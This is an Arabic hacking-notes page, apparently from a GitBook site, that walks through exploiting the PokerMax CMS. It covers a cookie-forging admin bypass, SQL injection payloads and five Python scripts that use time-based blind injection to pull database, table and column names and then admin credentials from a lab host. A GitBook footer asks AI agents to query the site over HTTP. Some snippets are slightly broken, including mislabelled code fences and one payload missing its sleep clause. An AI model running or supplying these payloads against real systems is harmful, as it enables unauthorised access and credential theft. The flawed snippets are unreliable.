> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/cms/pokermax-cms-exploitation.md).

# PokerMax

**البحث عن الثغرات باستخدام Searchsploit**

بعد تحديد `pokermax` صفحة ويب، استخدم Searchsploit للبحث عن الثغرات المحتملة.

<figure><img src="/files/59b57bda942313db95c576a0984aa23014ac3519" alt=""><figcaption></figcaption></figure>

**تحديد لوحة مصادقة المسؤول:**

تم اكتشاف لوحة مصادقة المسؤول. يقوم مقطع JavaScript في وحدة التحكم بتغيير `ValidUserAdmin` إلى `administrator`، مما يتيح الوصول إلى `configure.php` في pokeradmin.

<figure><img src="/files/cbb027002625f022fc660b3c29c80e40469ae8b9" alt=""><figcaption></figcaption></figure>

```javascript
javascript:document.cookie = "ValidUserAdmin=admin";
```

<figure><img src="/files/8110c299d8b7ce9b2db5ef9b6a3d7c515ad83140" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/b53a49fd48106c27d3dd6572cea75e23779589ea" alt=""><figcaption></figcaption></figure>

## ثغرة حقن SQL

**اكتشاف ثغرة حقن SQL:**

<figure><img src="/files/4a8b1f474dc1831a34d385db5e0f90284587164b" alt=""><figcaption></figcaption></figure>

#### حدد ثغرة حقن SQL في تطبيق الويب. استخدم [BurpSuite](/ar/hacking-tools/web/burpsuite.md) لاعتراض حركة المرور.

<figure><img src="/files/feed7ea58c7be1b5ab5f0095afdaa4b1ae38bb2a" alt=""><figcaption></figcaption></figure>

#### اكتشاف عدد الأعمدة باستخدام ORDER BY

```sql
admin' order by 7-- -
```

#### محاولة سرد الجداول باستخدام UNION SELECT

```sql
admin' union select 1,2,3,4,5,6,7-- -
```

#### استخدام حقن SQL القائم على الزمن

```sql
admin' and sleep(5)-- -
admin' and if(substr(database(),1,1)='a',sleep(5),1)-- -
```

<figure><img src="/files/e6f14163f4bd486b33c4d8c49e0c4c6e27906a45" alt=""><figcaption></figcaption></figure>

#### أتمتة بايثون لاستخراج اسم قاعدة البيانات

```sql
admin' and if(substr(database(),%d,1)='%s',sleep(0.85),1)-- -
```

```python
#!/usr/bin/python3

import requests
import signal
import time
import sys
import string
from pwn import *

def def_handler(sig, frame):
    print("/n/n[!] Exiting.../n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

main_url = "http://192.168.71.142/pokeradmin/index.php"
characters = string.ascii_lowercase + string.digits + ":,_-."
headers = {
    'Content-Type': 'application/x-www-form-urlencoded'
}

def sqli():
    data = ""
    p1 = log.progress("SQLI:")
    p1.status("Starting brute force attack")
    time.sleep(2)
    p2 = log.progress("Extract data:")
    
    for position in range(1, 12):
        for character in characters:
            post_data = {
                'op': 'adminlogin',
                'username': "admin' and if(substr(database(),%d,1)='%s',sleep(0.85),1)-- -" % (position, character),
                'password': 'admin'
            }

            p1.status(post_data['username'])
            time_start = time.time()
            r = requests.post(main_url, data=post_data, headers=headers)
            time_end = time.time()

            if time_end - time_start > 0.85:
                data += character
                p2.status(data)
                break

    p1.success("اكتمل حقن SQL")
    p2.success(data)

if __name__ == '__main__':
    sqli()

```

<figure><img src="/files/ad4bbff20ae17c4a68d0063f21fbc0c89fd5a760" alt=""><figcaption></figcaption></figure>

#### أتمتة بايثون لاستخراج جميع أسماء قواعد البيانات

```sql
admin' and if(substr((select group_concat(schema_name) from information_schema.schemata),%d,1)='%s',sleep(0.85),1)-- -
```

```sql
#!/usr/bin/python3

import requests
import signal
import time
import sys
import string
from pwn import *

def def_handler(sig, frame):
    print("/n/n[!] Exiting.../n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

main_url = "http://192.168.71.142/pokeradmin/index.php"
characters = string.ascii_lowercase + string.digits + ":,_-."
headers = {
    'Content-Type': 'application/x-www-form-urlencoded'
}

def sqli():
    data = ""
    p1 = log.progress("SQLI:")
    p1.status("Starting brute force attack")
    time.sleep(2)
    p2 = log.progress("Extract data:")
    
    for position in range(1, 100):
        for character in characters:
            post_data = {
                'op': 'adminlogin',
                'username': "admin' and if(substr((select group_concat(schema_name) from information_schema.schemata),%d,1)='%s',sleep(0.85),1)-- -" % (position, character),
                'password': 'admin'
            }

            p1.status(post_data['username'])
            time_start = time.time()
            r = requests.post(main_url, data=post_data, headers=headers)
            time_end = time.time()
            if time_end - time_start > 0.85:
                data += character
                p2.status(data)
                break

    p1.success("اكتمل حقن SQL")
    p2.success(data)

if __name__ == '__main__':
    sqli()
```

<figure><img src="/files/618cd82a7c6ddaf7d41436c9cd1318c56052a5ca" alt=""><figcaption></figcaption></figure>

#### أتمتة بايثون لاستخراج أسماء الجداول

```sql
admin' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema='pokerleague'),%d,1)='%s',sleep(0.85),1)-- -
```

```python
#!/usr/bin/python3
import requests
import signal
import time
import sys
import string
from pwn import *

def def_handler(sig, frame):
    print("/n/n[!] Exiting.../n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

main_url = "http://192.168.71.142/pokeradmin/index.php"
characters = string.ascii_lowercase + string.digits + ":,_-."
headers = {
    'Content-Type': 'application/x-www-form-urlencoded'
}

def sqli():
    data = ""
    p1 = log.progress("SQLI:")
    p1.status("Starting brute force attack")
    time.sleep(2)
    p2 = log.progress("Extract data:")

    for position in range(1, 100):
        for character in characters:
            post_data = {
                'op': 'adminlogin',
                'username': "admin' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema='pokerleague'),%d,1)='%s'," % (position, character),
                'password': 'admin'
            }
            p1.status(post_data['username'])
            time_start = time.time()
            r = requests.post(main_url, data=post_data, headers=headers)
            time_end = time.time()

            if time_end - time_start > 0.85:
                data += character
                p2.status(data)
                break

    p1.success("اكتمل حقن SQL")
    p2.success(data)

if __name__ == '__main__':
    sqli()

```

<figure><img src="/files/e0c540cee725d0beff858dcf27c15dd2a9ad7a6f" alt=""><figcaption></figcaption></figure>

#### أتمتة بايثون لاستخراج أسماء الأعمدة

```sql
admin' and if(substr((select group_concat(column_name) from information_schema.columns where table_schema='pokerleague' and table_name='pokermax_admin'),%d,1)='%s',sleep(0.85),1)-- -
```

```sql
#!/usr/bin/python3

import requests
import signal
import time
import sys
import string
from pwn import *

def def_handler(sig, frame):
    print("/n/n[!] Exiting.../n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

main_url = "http://192.168.71.142/pokeradmin/index.php"
characters = string.ascii_lowercase + string.digits + ":,_-."
headers = {
    'Content-Type': 'application/x-www-form-urlencoded'
}

def sqli():
    data = ""
    p1 = log.progress("SQLI:")
    p1.status("Starting brute force attack")
    time.sleep(2)
    p2 = log.progress("Extract data:")
    
    for position in range(1, 100):
        for character in characters:
            post_data = {
                'op': 'adminlogin',
                'username': "admin' and if(substr((select group_concat(column_name) from information_schema.columns where table_schema='pokerleague' and table_name='pokermax_admin'),%d,1)='%s',sleep(0.85),1)-- -" % (position, character),
                'password': 'admin'
            }

            p1.status(post_data['username'])
            time_start = time.time()
            r = requests.post(main_url, data=post_data, headers=headers)
            time_end = time.time()

            if time_end - time_start > 0.85:
                data += character
                p2.status(data)
                break

    p1.success("اكتمل حقن SQL")
    p2.success(data)

if __name__ == '__main__':
    sqli()
```

<figure><img src="/files/9a5cb2e048b3a157336c08d9832ab6a98a7380ab" alt=""><figcaption></figcaption></figure>

#### أتمتة بايثون لاستخراج محتوى عمودَي اسم المستخدم وكلمة المرور

```sql
admin' and if(substr((select group_concat(username,0x3a,password) from pokermax_admin),%d,1)='%s',sleep(0.85),1)-- -
```

```python
#!/usr/bin/python3

import requests
import signal
import time
import sys
import string
from pwn import *

def def_handler(sig, frame):
    print("/n/n[!] Exiting.../n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

main_url = "http://192.168.71.142/pokeradmin/index.php"
characters = string.ascii_lowercase + string.digits + ":,_-."
headers = {
    'Content-Type': 'application/x-www-form-urlencoded'
}

def sqli():
    data = ""
    p1 = log.progress("SQLI:")
    p1.status("Starting brute force attack")
    time.sleep(2)
    p2 = log.progress("Extract data:")
    
    for position in range(1, 100):
        for character in characters:
            post_data = {
                'op': 'adminlogin',
                'username': "admin' and if(substr((select group_concat(username,0x3a,password) from pokermax_admin),%d,1)='%s',sleep(0.85),1)-- -" % (position, character),
                'password': 'admin'
            }

            p1.status(post_data['username'])
            time_start = time.time()
            r = requests.post(main_url, data=post_data, headers=headers)
            time_end = time.time()
            if time_end - time_start > 0.85:
                data += character
                p2.status(data)
                break

    p1.success("اكتمل حقن SQL")
    p2.success(data)

if __name__ == '__main__':
    sqli()
```

<figure><img src="/files/22a02a81e2c48dc9cfc94db9c5bd74680e203939" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/cms/pokermax-cms-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
